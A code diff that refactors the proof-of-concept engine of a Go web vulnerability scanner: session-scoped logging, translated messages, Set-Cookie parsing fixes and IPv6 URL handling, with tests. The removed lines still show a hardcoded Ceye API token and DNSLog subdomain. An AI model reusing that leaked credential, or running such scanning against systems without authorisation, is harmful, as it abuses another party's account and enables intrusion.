5aab360..de95b35 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -6,6 +6,7 @@ import ( "math/rand" //nolint:gosec // G404: math/rand用于生成测试数据,非加密用途 "net/http" "net/url" + "os" "regexp" "strings" "sync" @@ -19,11 +20,18 @@ import ( exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" ) -// API配置常量 -const ( - ceyeAPI = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥 - ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名 -) +// Ceye平台凭据(通过环境变量配置,避免将密钥硬编码在源码中) +// CEYE_API: Ceye API令牌 +// CEYE_DOMAIN: Ceye平台域名(可选,默认使用api.ceye.io) +var ceyeAPI, ceyeDomain string + +func init() { + ceyeAPI = os.Getenv("CEYE_API") + ceyeDomain = os.Getenv("CEYE_DOMAIN") + if ceyeDomain == "" { + ceyeDomain = "api.ceye.io" + } +} // Task 定义单个POC检测任务的结构体 type Task struct { @@ -44,6 +52,7 @@ type VulnResult struct { type POCContext struct { DNSLog bool // 是否启用DNSLog检测 POCFull bool // 是否完整POC扫描 + Session *common.ScanSession } // CheckMultiPoc 并发执行多个POC检测 @@ -74,7 +83,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte // 处理执行过程中的错误 if err != nil { - common.LogError(i18n.Tr("webscan_poc_exec_error", task.Poc.Name, err)) + pocCtx.Session.LogError(i18n.Tr("webscan_poc_exec_error", task.Poc.Name, err)) continue } @@ -109,31 +118,31 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte Status: "vulnerable", Details: details, } - _ = common.SaveResult(result) + _ = pocCtx.Session.SaveResult(result) // 构造控制台输出的日志信息 - logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:", + logMsg := i18n.Tr("webscan_vuln_detail_header", task.Req.URL, task.Poc.Name, vulName) // 添加作者信息到日志 if task.Poc.Detail.Author != "" { - logMsg += "\n\t作者:" + task.Poc.Detail.Author + logMsg += "\n\t" + i18n.Tr("webscan_vuln_author", task.Poc.Detail.Author) } // 添加参考链接到日志 if len(task.Poc.Detail.Links) != 0 { - logMsg += "\n\t参考链接:" + strings.Join(task.Poc.Detail.Links, "\n") + logMsg += "\n\t" + i18n.Tr("webscan_vuln_references", strings.Join(task.Poc.Detail.Links, "\n")) } // 添加描述信息到日志 if task.Poc.Detail.Description != "" { - logMsg += "\n\t描述:" + task.Poc.Detail.Description + logMsg += "\n\t" + i18n.Tr("webscan_vuln_description", task.Poc.Detail.Description) } // 输出成功日志 - common.LogVuln(logMsg) + pocCtx.Session.LogVuln(logMsg) } } }() @@ -183,13 +192,13 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e // 从基础环境扩展(复用缓存的基础环境,仅添加变量声明) env, err := ExtendEnvWithVars(varDecls) if err != nil { - return false, "", fmt.Errorf("执行环境错误 %s: %w", p.Name, err) + return false, "", fmt.Errorf("%s %s: %w", i18n.GetText("webscan_exec_env_error"), p.Name, err) } // 解析请求 req, err := ParseRequest(oReq) if err != nil { - return false, "", fmt.Errorf("请求解析错误 %s: %w", p.Name, err) + return false, "", fmt.Errorf("%s %s: %w", i18n.GetText("webscan_request_parse_error"), p.Name, err) } // 初始化变量映射 @@ -208,7 +217,7 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e continue } if _, err = evalset(env, variableMap, key, expression); err != nil { - common.LogError(i18n.Tr("webscan_set_exec_error", p.Name, err)) + pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", p.Name, err)) } } @@ -218,11 +227,11 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e return success, "", err } - return executeRules(oReq, p, variableMap, req, env) + return executeRules(oReq, p, variableMap, req, env, pocCtx.Session) } // executeRules 执行POC规则并返回结果 -func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (bool, string, error) { +func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, session *common.ScanSession) (bool, string, error) { // 处理单个规则的函数 executeRule := func(rule Rules) (bool, error) { Headers := cloneMap(rule.Headers) @@ -260,7 +269,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} strings.NewReader(rule.Body), ) if err != nil { - return false, fmt.Errorf("请求创建错误: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_create_error"), err) } // 设置请求头 @@ -271,7 +280,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} _ = Headers // 清空Headers // 发送请求 - resp, err := DoRequest(newRequest, rule.FollowRedirects) + resp, err := DoRequest(newRequest, rule.FollowRedirects, session) newRequest = nil if err != nil { return false, err @@ -348,8 +357,8 @@ func doSearch(re string, body string) map[string]string { paramsMap := make(map[string]string) for i, name := range names { if i > 0 && i <= len(result) { - // 特殊处理Cookie头 - if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") { + // 特殊处理Set-Cookie头:剥离Path/Expires等属性,仅保留key=value + if strings.HasPrefix(re, "Set-Cookie:") { paramsMap[name] = optimizeCookies(result[i]) } else { paramsMap[name] = result[i] @@ -366,15 +375,17 @@ func optimizeCookies(rawCookie string) string { var output strings.Builder // 解析Cookie键值对 - pairs := strings.Split(rawCookie, "; ") + pairs := strings.Split(rawCookie, ";") for _, pair := range pairs { + pair = strings.TrimSpace(pair) nameVal := strings.SplitN(pair, "=", 2) if len(nameVal) < 2 { continue } + name := strings.TrimSpace(nameVal[0]) // 跳过Cookie属性 - switch strings.ToLower(nameVal[0]) { + switch strings.ToLower(name) { case "expires", "max-age", "path", "domain", "version", "comment", "secure", "samesite", "httponly": continue @@ -384,9 +395,9 @@ func optimizeCookies(rawCookie string) string { if output.Len() > 0 { output.WriteString("; ") } - output.WriteString(nameVal[0]) + output.WriteString(name) output.WriteString("=") - output.WriteString(strings.Join(nameVal[1:], "=")) + output.WriteString(nameVal[1]) } return output.String() @@ -437,7 +448,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, // 检查是否需要进行参数Fuzz测试 if !isFuzz(rule, p.Sets) { // 不需要Fuzz,直接发送请求 - success, err = clustersend(oReq, variableMap, req, env, rule) + success, err = clustersend(oReq, variableMap, req, env, rule, pocCtx.Session) if err != nil { return false, err } @@ -480,7 +491,10 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, if key == "payload" { payloadExpr = expr } - output, _ := evalset1(env, variableMap, key, expr) + output, err := evalset1(env, variableMap, key, expr) + if err != nil { + pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", key, err)) + } payloads[key] = output } @@ -500,7 +514,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, ruleHash[ruleMD5] = struct{}{} // 发送请求并处理结果 - success, err = clustersend(oReq, variableMap, req, env, currentRule) + success, err = clustersend(oReq, variableMap, req, env, currentRule, pocCtx.Session) if err != nil { return false, err } @@ -511,7 +525,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, // 处理成功情况 if currentRule.Continue { // 使用Continue标志时,记录但继续测试其他参数 - recordVulnerabilityResult(targetURL, p, currentParams, false) + recordVulnerabilityResult(targetURL, p, currentParams, false, pocCtx.Session) continue } @@ -519,7 +533,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, strMap = append(strMap, currentParams...) if ruleIndex == len(p.Rules)-1 { // 最终规则成功,记录完整的结果并返回 - recordVulnerabilityResult(targetURL, p, strMap, false) + recordVulnerabilityResult(targetURL, p, strMap, false, pocCtx.Session) return false, nil } break paramLoop @@ -604,7 +618,7 @@ func getRuleHash(rule *Rules) string { } // recordVulnerabilityResult 记录漏洞检测结果 -func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, skipSave bool) { +func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, skipSave bool, session *common.ScanSession) { // 构造详细信息 details := make(map[string]interface{}) details["vulnerability_type"] = pocDef.Name @@ -643,19 +657,19 @@ func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, ski Status: "vulnerable", Details: details, } - _ = common.SaveResult(result) + _ = session.SaveResult(result) } // 生成日志消息 var logMsg string if pocDef.Name == "poc-yaml-backup-file" || pocDef.Name == "poc-yaml-sql-file" { - logMsg = fmt.Sprintf("检测到漏洞 %s %s", targetURL, pocDef.Name) + logMsg = i18n.Tr("webscan_vuln_detected", targetURL, pocDef.Name) } else { - logMsg = fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, pocDef.Name, params) + logMsg = i18n.Tr("webscan_vuln_detected_params", targetURL, pocDef.Name, params) } // 输出成功日志 - common.LogVuln(logMsg) + session.LogVuln(logMsg) } // isFuzz 检查规则是否包含需要Fuzz测试的参数 @@ -725,7 +739,7 @@ func MakeData(base [][]string, nextData []string) [][]string { } // clustersend 执行单个规则的HTTP请求和响应检测 -func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) { +func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules, session *common.ScanSession) (bool, error) { // 替换请求中的变量 for varName, varValue := range variableMap { // 跳过map类型的变量 @@ -762,7 +776,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re reqURL := fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.URL.Host, req.URL.Path) newRequest, err := http.NewRequestWithContext(oReq.Context(), rule.Method, reqURL, strings.NewReader(rule.Body)) if err != nil { - return false, fmt.Errorf("HTTP请求错误: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_http_request_error"), err) } defer func() { newRequest = nil }() @@ -773,9 +787,9 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re } // 发送请求 - resp, err := DoRequest(newRequest, rule.FollowRedirects) + resp, err := DoRequest(newRequest, rule.FollowRedirects, session) if err != nil { - return false, fmt.Errorf("请求发送错误: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_send_error"), err) } // 更新响应到变量映射 @@ -888,7 +902,7 @@ func CheckInfoPoc(infostr string) string { func GetHeader(header map[string]string) string { var builder strings.Builder for name, values := range header { - builder.WriteString(fmt.Sprintf("%s: %s\n", name, values)) + fmt.Fprintf(&builder, "%s: %s\n", name, values) } builder.WriteString("\r\n") return builder.String() diff --git a/webscan/lib/poc_executor_test.go b/webscan/lib/poc_executor_test.go index 5972877..8e1f15f 100644 --- a/webscan/lib/poc_executor_test.go +++ b/webscan/lib/poc_executor_test.go @@ -1,6 +1,7 @@ package lib import ( + "strings" "testing" ) @@ -101,6 +102,112 @@ func TestGetRuleHash(t *testing.T) { } } +// TestDoSearchSetCookieOptimization 测试 Set-Cookie 提取和清理 +func TestDoSearchSetCookieOptimization(t *testing.T) { + responseHeaders := "HTTP/1.1 200 OK\r\n" + cases := []struct { + name string + regex string + body string + wantContain string // 期望结果包含的内容 + wantNotContain string // 期望结果不包含的内容 + }{ + { + name: "捕获组名为cookie时清理属性", + regex: `Set-Cookie:(?P.*)`, + body: responseHeaders + "Set-Cookie: sessionid=abc123; Path=/; HttpOnly\r\n\r\n", + wantContain: "sessionid=abc123", + wantNotContain: "Path", + }, + { + name: "捕获组名为sessid时也清理属性", + regex: `Set-Cookie:(?P.*)`, + body: responseHeaders + "Set-Cookie: JSESSIONID=xyz789; Path=/app; Secure; HttpOnly\r\n\r\n{}", + wantContain: "JSESSIONID=xyz789", + wantNotContain: "Secure", + }, + { + name: "捕获组名为token时也清理属性", + regex: `Set-Cookie:(?P.*)`, + body: responseHeaders + "Set-Cookie: csrf_token=tok123; Max-Age=3600; SameSite=Strict\r\n\r\nOK", + wantContain: "csrf_token=tok123", + wantNotContain: "Max-Age", + }, + { + name: "非Set-Cookie的正则不触发清理", + regex: `X-Custom:(?P.*)`, + body: responseHeaders + "X-Custom: some-value; extra=stuff\r\n\r\ndone", + wantContain: "some-value; extra=stuff", + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + result := doSearch(c.regex, c.body) + if result == nil { + t.Fatal("doSearch() returned nil") + } + for _, v := range result { + if c.wantContain != "" && !strings.Contains(v, c.wantContain) { + t.Errorf("result should contain %q, got %q", c.wantContain, v) + } + if c.wantNotContain != "" && strings.Contains(v, c.wantNotContain) { + t.Errorf("result should NOT contain %q, got %q", c.wantNotContain, v) + } + } + }) + } +} + +// TestOptimizeCookies 测试 Cookie 清理函数 +func TestOptimizeCookies(t *testing.T) { + cases := []struct { + name string + raw string + want string + }{ + { + name: "标准Set-Cookie带多个属性", + raw: "sessionid=abc123; Path=/; HttpOnly; Secure", + want: "sessionid=abc123", + }, + { + name: "多个cookie键值对", + raw: "token=xyz; user=admin; Path=/app; Expires=Wed, 21 Oct 2025 07:28:00 GMT", + want: "token=xyz; user=admin", + }, + { + name: "无属性的干净cookie", + raw: "sid=simple", + want: "sid=simple", + }, + { + name: "分号后无空格", + raw: "token=xyz;user=admin;Path=/app;HttpOnly", + want: "token=xyz; user=admin", + }, + { + name: "键名周围空格", + raw: " token =xyz; user =admin; Path =/", + want: "token=xyz; user=admin", + }, + { + name: "空字符串", + raw: "", + want: "", + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + got := optimizeCookies(c.raw) + if got != c.want { + t.Errorf("optimizeCookies(%q) = %q, want %q", c.raw, got, c.want) + } + }) + } +} + // TestApplyParametersToRule 测试参数替换逻辑 func TestApplyParametersToRule(t *testing.T) { tests := []struct { diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 1089c7a..eb0cabc 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -5,6 +5,7 @@ import ( "embed" "errors" "fmt" + "net" "net/http" "net/url" "os" @@ -31,10 +32,10 @@ const ( // 错误定义 var ( - ErrInvalidURL = errors.New("无效的URL格式") - ErrEmptyTarget = errors.New("目标URL为空") - ErrPocNotFound = errors.New("未找到匹配的POC") - ErrPocLoadFailed = errors.New("POC加载失败") + ErrInvalidURL = errors.New(i18n.GetText("webscan_err_invalid_url")) + ErrEmptyTarget = errors.New(i18n.GetText("webscan_err_empty_target")) + ErrPocNotFound = errors.New(i18n.GetText("webscan_err_poc_not_found")) + ErrPocLoadFailed = errors.New(i18n.GetText("webscan_err_poc_load_failed")) ) //go:embed pocs @@ -47,7 +48,7 @@ var ( ) // WebScan 执行Web漏洞扫描 -func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { +func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config, session *common.ScanSession) { // 初始化POC配置(用于CEL回调函数) lib.InitPOCConfig(cfg.DNSLog) @@ -64,19 +65,19 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { // 验证输入 if info == nil { - common.LogError(i18n.GetText("invalid_scan_target")) + session.LogError(i18n.GetText("invalid_scan_target")) return } if len(allPocs) == 0 { - common.LogError(i18n.GetText("poc_load_failed")) + session.LogError(i18n.GetText("poc_load_failed")) return } // 构建目标URL target, err := buildTargetURL(info) if err != nil { - common.LogError(i18n.Tr("webscan_target_url_failed", err)) + session.LogError(i18n.Tr("webscan_target_url_failed", err)) return } @@ -90,13 +91,13 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { // 根据扫描策略执行POC if cfg.POC.PocName == "" && len(info.Info) == 0 { // 执行所有POC - executePOCs(ctx, config.PocInfo{Target: target}, cfg) + executePOCs(ctx, config.PocInfo{Target: target}, cfg, session) } else if len(info.Info) > 0 { // 基于指纹信息执行POC - scanByFingerprints(ctx, target, info.Info, cfg) + scanByFingerprints(ctx, target, info.Info, cfg, session) } else if cfg.POC.PocName != "" { // 基于指定POC名称执行 - executePOCs(ctx, config.PocInfo{Target: target, PocName: cfg.POC.PocName}, cfg) + executePOCs(ctx, config.PocInfo{Target: target, PocName: cfg.POC.PocName}, cfg, session) } } @@ -104,7 +105,7 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { func buildTargetURL(info *common.HostInfo) (string, error) { // 自动构建URL if info.URL == "" { - info.URL = fmt.Sprintf("%s%s:%d", protocolHTTP, info.Host, info.Port) + info.URL = protocolHTTP + net.JoinHostPort(info.Host, fmt.Sprint(info.Port)) } else if !hasProtocolPrefix(info.URL) { info.URL = protocolHTTP + info.URL } @@ -120,11 +121,12 @@ func buildTargetURL(info *common.HostInfo) (string, error) { // hasProtocolPrefix 检查URL是否包含协议前缀 func hasProtocolPrefix(urlStr string) bool { + urlStr = strings.ToLower(urlStr) return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS) } // scanByFingerprints 根据指纹执行POC -func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config) { +func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config, session *common.ScanSession) { for _, fingerprint := range fingerprints { if fingerprint == "" { continue @@ -135,15 +137,15 @@ func scanByFingerprints(ctx context.Context, target string, fingerprints []strin continue } - executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName}, cfg) + executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName}, cfg, session) } } // executePOCs 执行POC检测 -func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config) { +func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config, session *common.ScanSession) { // 验证目标 if pocInfo.Target == "" { - common.LogError(ErrEmptyTarget.Error()) + session.LogError(ErrEmptyTarget.Error()) return } @@ -155,21 +157,21 @@ func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config // 验证URL _, err := url.Parse(pocInfo.Target) if err != nil { - common.LogError(i18n.Tr("webscan_invalid_url", ErrInvalidURL, pocInfo.Target, err)) + session.LogError(i18n.Tr("webscan_invalid_url", ErrInvalidURL, pocInfo.Target, err)) return } // 创建基础请求 req, err := createBaseRequest(ctx, pocInfo.Target, cfg) if err != nil { - common.LogError(i18n.Tr("webscan_request_create_failed", err)) + session.LogError(i18n.Tr("webscan_request_create_failed", err)) return } // 筛选POC matchedPocs := filterPocs(pocInfo.PocName) if len(matchedPocs) == 0 { - common.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName)) + session.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName)) return } @@ -177,6 +179,7 @@ func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config pocCtx := &lib.POCContext{ DNSLog: cfg.DNSLog, POCFull: cfg.POC.Full, + Session: session, } // 执行POC检测 diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index fd400b3..a258457 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -114,6 +114,26 @@ func TestBuildTargetURL(t *testing.T) { expected: "http://test.example.com:9090", expectError: false, }, + { + name: "ipv6 builds bracketed host and port", + hostInfo: &common.HostInfo{ + Host: "2001:db8::1", + Port: 8080, + URL: "", + }, + expected: "http://[2001:db8::1]:8080", + expectError: false, + }, + { + name: "ipv6 url without protocol keeps brackets", + hostInfo: &common.HostInfo{ + Host: "2001:db8::1", + Port: 443, + URL: "[2001:db8::1]:443/admin", + }, + expected: "http://[2001:db8::1]:443", + expectError: false, + }, } for _, tt := range tests { @@ -190,8 +210,8 @@ func TestHasProtocolPrefix(t *testing.T) { {"only http", "http://", true}, {"only https", "https://", true}, {"http in middle", "example.http://com", false}, - {"uppercase HTTP", "HTTP://example.com", false}, // 区分大小写 - {"uppercase HTTPS", "HTTPS://example.com", false}, + {"uppercase HTTP", "HTTP://example.com", true}, + {"uppercase HTTPS", "HTTPS://example.com", true}, {"ftp protocol", "ftp://example.com", false}, {"http no slashes", "http:example.com", false}, {"partial prefix", "http:/example.com", false},